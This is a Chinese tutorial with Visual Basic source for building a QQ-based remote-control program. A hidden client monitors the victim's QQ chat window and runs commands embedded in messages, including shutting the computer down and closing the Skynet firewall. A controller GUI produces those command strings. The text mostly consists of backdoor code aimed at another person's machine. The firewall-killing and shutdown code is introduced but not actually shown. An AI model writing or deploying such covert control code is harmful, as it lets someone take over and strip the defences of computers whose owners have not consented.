自己来编QQ远控任我行
相信用过QQ远控精灵和QQ远控任我行这两款QQ远程控制的都会觉得很有意思,本文就带着大家去做一款只属于自己的远程控制软件,是不是很刺激啊!
还是老规矩,先说一下思想。其实真的很简单,就是那薄薄的一层纸而已,戳穿了就什么都明了。现今虽然语音、视频聊天方式都出现了,但是因为带宽的问题,绝大部分还是基于字符与图片,这就为我们提供了一个很好的利用对象——字符,上面的两个程序就是利用了这个,在主控端生成控制命令字,然后通过QQ发给对方,而在被控端则是通过程序时刻监视着聊天窗口,一发现有主控端发来的命令字则去执行事先定义好的程序,就这么简单,只不过难点在于如何取得聊天窗口中的字符,下面就用具体的代码来说明具体的方法。
QQ远程控制被控端
获取并判断当前窗口
这一步,先获取当前窗口的句柄,然后根据得到的句柄获取此窗口的标题,最后判断是否是聊天窗口。我们用到的几个系统提供的API是:
GetForegroundWindow,GetWindowTextLength, GetWindowText
具体代码如下,就不多说了:
'获取当前窗口句柄
QQMessageWindowWnd = GetForegroundWindow()
'获取当前窗口标题的长度
QQWinText = String(GetWindowTextLength(QQMessageWindowWnd) + 1, Chr$(0))
'获取当前窗口标题
Call GetWindowText(QQMessageWindowWnd, QQWinText, Len(QQWinText))
'判断是否是QQ窗口
If ((InStr(1, QQWinText, "聊天中") <> 0)) Or ((InStr(1, QQWinText, "查看消息") <> 0)) Or ((InStr(1, QQWinText, "系统消息") <> 0)) Then
Debug.Print "找到QQ窗口!" & Time()
Else
Debug.Print "未找到QQ窗口!" & Time()
End If
获取聊天窗口句柄
在这个过程中,我们必须知道要获取对象的类名,正所谓“知己知彼方可百战不殆”,下面就让我们一步一步来获取对应的类名及窗口标题。我们都知道QQ有聊天模式和消息模式两种聊天窗口,上面的两款程序都是针对这个写的,但是如果对方不在你的QQ好友列表中,那就没有办法控制,在这里我添加了这种方式,用查找添加QQ好友的功能就可以了。
“与XXX聊天中”窗口与“XXX—查看消息”窗口
其中头像及昵称以下、QQ快捷工具栏以上就是要获取字符的部分。
用微软提供的SPY++查找该部分的句柄。发现它是整个聊天窗口的二级子窗口。
既然是二级子窗口,那就必须找到其父窗口,然后在代码中通过遍历父窗口下的所有子窗口来获取它的句柄。中就是其父窗口的类名和窗口标题。
记下的窗口类名和标题,下面的代码需要用到。下面 “XXX—查看消息”窗口中有字符的那部分就是了,也一个二级子窗口。因此同样需要利用上面的方法,这里就不再多罗嗦了!
“系统消息”窗口
有字符的那个部分,这里不是上面那两种聊天窗口,而是消息验证窗口。
同样利用SPY++获取其句柄,发现是一个一级子窗口,和上面的两个不同,所以在下面的代码中的实现方式也是不一样的,但是同样要获取其父窗口并记下。
思想与具体代码
因为二级子窗口不能直接利用FindWindowEX查找句柄,所以必须另想办法。大家注意有一个“聊天记录(H)”的按钮,发现与我们要查找的窗口在同一个级,然而我们要找的那个窗口是没有标题的,按钮则不同,到这里有没有想到什么了,对,就是利用标题来获取“聊天记录(H)”的按钮的句柄,然后向上一级就是一级子窗口,也就我们要找的那个东东的父窗口,这样再用FindWindowEX查找句柄就可以了。然而窗口则不同,可以看到是属于一级子窗口,直接可以用FindWindowEX。这里的窗口遍历获取标题与查找句柄都要用到上面让大家记下的窗口类名和标题了。代码如下:
'判断当前是否为“与XXX聊天中”窗口(图1)
If (InStr(1, QQWinText, "聊天中") <> 0) Then
'是则遍历窗口查找“聊天记录(H)”按钮的句柄,这里的EnumChildProc过程是自编的,下面给出
EnumChildWindows QQMessageWindowWnd, AddressOf EnumChildProc, ByVal 0&
'获取二级子窗口的句柄
QQMessageRichEditWnd = FindWindowEx(QQButtonHwnd, ByVal 0&, "RichEdit20A", vbNullString)
End If
'判断当前是否为“XXX—查看消息”窗口(图4)
If (InStr(1, QQWinText, "查看消息") <> 0) Then
EnumChildWindows QQMessageWindowWnd, AddressOf EnumChildProc, ByVal 0&
QQMessageRichEditWnd = FindWindowEx(QQButtonHwnd, ByVal 0&, "RICHEDIT", vbNullString)
End If
'判断当前是否为“系统消息”窗口(图5)
If (InStr(1, QQWinText, "系统消息") <> 0) Then
'是则获取一级子窗口的句柄
QQMessageRichEditWnd = FindWindowEx(QQMessageWindowWnd, ByVal 0&, "RICHEDIT", vbNullString)
End If
Debug.Print "消息框:" + Trim(QQMessageRichEditWnd)
以下代码必须放在标准模块中,因为上面是通过AddressOf调用的,否则程序可能崩溃!
'以下为EnumChildProc过程
Public QQButtonHwnd As Long '“聊天记录(H)”按钮的句柄变量
Public Function EnumChildProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
Dim sSave As String '窗口标题变量
'获取窗口标题长度
sSave = Space$(GetWindowTextLength(hwnd) + 1)
'根据窗口句柄获取标题
GetWindowText hwnd, sSave, Len(sSave)
'截取窗口标题字符串
sSave = Left$(sSave, Len(sSave) - 1)
'判断字符串是否为空且是否为"聊天记录(&H)"(即“聊天记录(H)”按钮的标题)
If sSave <> "" And sSave = "聊天记录(&H)" Then
'是则获取当前子窗口的上一级窗口
QQButtonHwnd = GetParent(hwnd)
'找到即终止遍历
EnumChildProc = 0
Else
'不是则继续遍历窗口,直到所有窗口都结束
EnumChildProc = 1
End If
End Function
获取并判断命令控制字
根据上面获取到的句柄用SendMessage API获取聊天窗口中的字符,然后判断有没有命令控制字在其中,有则调用相应的指令。具体代码如下:
Public Const WM_GETTEXT = &HD '获取窗口字符的系统消息常量
Public QQMessageRichEditTextBak As String '获取字符串变量
Private Sub Form_Load()
'初始化字符串变量为35000个空格,这是QQ聊天窗口的字符极限
QQMessageRichEditTextBak = Space(35000)
End Sub
Private Sub Timer1_Time()
'调用SendMessage获取聊天窗口中的字符
Call SendMessage(QQMessageRichEditWnd, WM_GETTEXT, Len(QQMessageRichEditText), ByVal QQMessageRichEditText)
'判断是否是上一次的命令
If (Trim(QQMessageRichEditTextBak) = Trim(QQMessageRichEditText)) Then
'是上一次的命令
Exit Sub
Else
'不是上一次的命令
QQMessageRichEditTextBak = Trim(QQMessageRichEditText)
Debug.Print "消息:" + Right(Trim(QQMessageRichEditText), 15)
'判断命令
'关闭机器
If (InStr(1, Right(Trim(QQMessageRichEditText), 15), "=ShutDown=")) <> 0 Then
Flag = "=ShutDown="
End If
'MessageBox消息框
If (InStr(1, Right(Trim(QQMessageRichEditText), 15), "=Messager=")) <> 0 Then
Flag = "=Messager="
End If
'关闭被控端
If (InStr(1, Right(Trim(QQMessageRichEditText), 15), "=ClosePro=")) <> 0 Then
Flag = "=ClosePro="
End If
'关闭天网防火墙
If (InStr(1, Right(Trim(QQMessageRichEditText), 15), "=CloseWindows=")) <> 0 Then
Flag = "=CloseWindows="
End If
End If
'执行命令
Select Case Flag
Case "=ShutDown=" '关闭机器
Call ShutDown
Case "=Messager=" 'MessageBox消息框
MsgBox "警告!"
Case "=ClosePro=" '关闭被控端
End
Case "=CloseWindows=" '关闭天网防火墙
Call CloseWindows
Case Else
Debug.Print "错误命令!"
End Select
End Sub
至此,查找QQ聊天窗口并获取其中的字符全部完成,下面简单介绍一些上面程序中实现的功能。
关闭天网防火墙
如果对方的系统中运行了防火墙,你将如何处理?相信一定是将其关闭。这里以天网防火墙为例。首先还是用SPY++获取天网防火墙的窗口标题及类名。将其记下。
在如图8所示中我们可以看到天网防火墙的窗口是父窗口,不需要使用上面的遍历窗口,直接使用FindWindow加上其窗口标题及类名就可以直接找到,然后用PostMessage将其窗口关闭,进程在窗口关闭的同时也被结束了,这样就达到了终止防火墙的目的。
具体代码如下:
关闭系统
这个功能实现一定要注意NT核心和非NT核心,因为其关闭方式是不一样的。NT核心的系统需要进入进程环取得足够的权限才可以关闭系统,而非NT核心的则不需要。
其它的就不多说了,没有什么难点,直接给出相应的代码:
QQ远程控制主控端
相信有了上面的开发经验,这一步也不会难倒大家了。主控端只要生成对应的命令控制字,然后复制到剪贴板即可。还是老规矩,先给出要使用控件的布局,及属性(表1)。
Name Caption Text Enabled
组合框ComboBox ComboCommand 无 请选择命令! True
命令按钮CommandButton cmdCopy 复制到剪贴板 无 False
命令按钮CommandButton cmdEnd 退出 无 True
(表1)
初始化
在程序开始时,定义变量及添加控制命令字提示,代码如下:
'定义控制命令字变量
Dim Flag As String
Private Sub Form_Load()
'初始化组合框,添加控制命令字
ComboCommand.AddItem "关闭对方计算机系统!"
ComboCommand.AddItem "打开消息对话框予以警告!"
ComboCommand.AddItem "关闭对方天网防火墙!"
ComboCommand.AddItem "关闭对方被控端程序!"
'清空控制命令字变量,防止使用上一次的命令字
Flag = ""
'如果没有选择命令字,则“复制到剪贴板”按钮无效,防止产生错误指令
cmdCopy.Enabled = False
End Sub
生成控制命令字
选择组合框中相应的提示选项产生对应的索引号,根据索引号选择对应的控制命令字并复制到剪贴板,然后给出提示,便于使用者核对。这里要说明的是组合框的索引号是固定的,但是给出的选项是可以自己定义的。
'生成命令控制字
Private Sub ComboCommand_Click()
'获取组合框的索引号
Select Case ComboCommand.ListIndex
'为0则是选择的关闭系统
Case 0
Flag = "=ShutDown="
'为1则是弹出消息框
Case 1
Flag = "=Messager="
'为2则是关闭天网防火墙
Case 2
Flag = "=CloseWindows="
'为3则是关闭被控端
Case 3
Flag = "=ClosePro="
'其它则什么都不做
Case Else
Flag = ""
End Select
'判断是否选择了相应的命令控制字
If Flag <> "" Then
'如果已选择则将“复制到剪贴板”按钮激活,并给出提示
cmdCopy.Enabled = True
lblCommand.Caption = "命令代码是:" + Flag
Else
'否则将“复制到剪贴板”按钮设为无效
cmdCopy.Enabled = False
lblCommand.Caption = "没有选择命令,请重新选择!"
End If
Debug.Print Flag
End Sub
'将命令控制字复制到剪贴板
Private Sub cmdCopy_Click()
'清空剪贴板,防止使用非法命令
Clipboard.Clear
'将命令控制字复制到剪贴板
Clipboard.SetText (Flag)
'给出提示,用于核对
lblCommand.Caption = "命令代码“" + Flag + "”复制完毕!" + vbCrLf + "请在QQ的消息框中单击右键,选择粘贴!" + vbCrLf + "一定要放在消息的最后!"
End Sub
至此,整个程序完成,剩下的只要将主控端和被控端联合起来编译调试即可啦!一个属于自己的QQ远程控制软件就这么诞生了!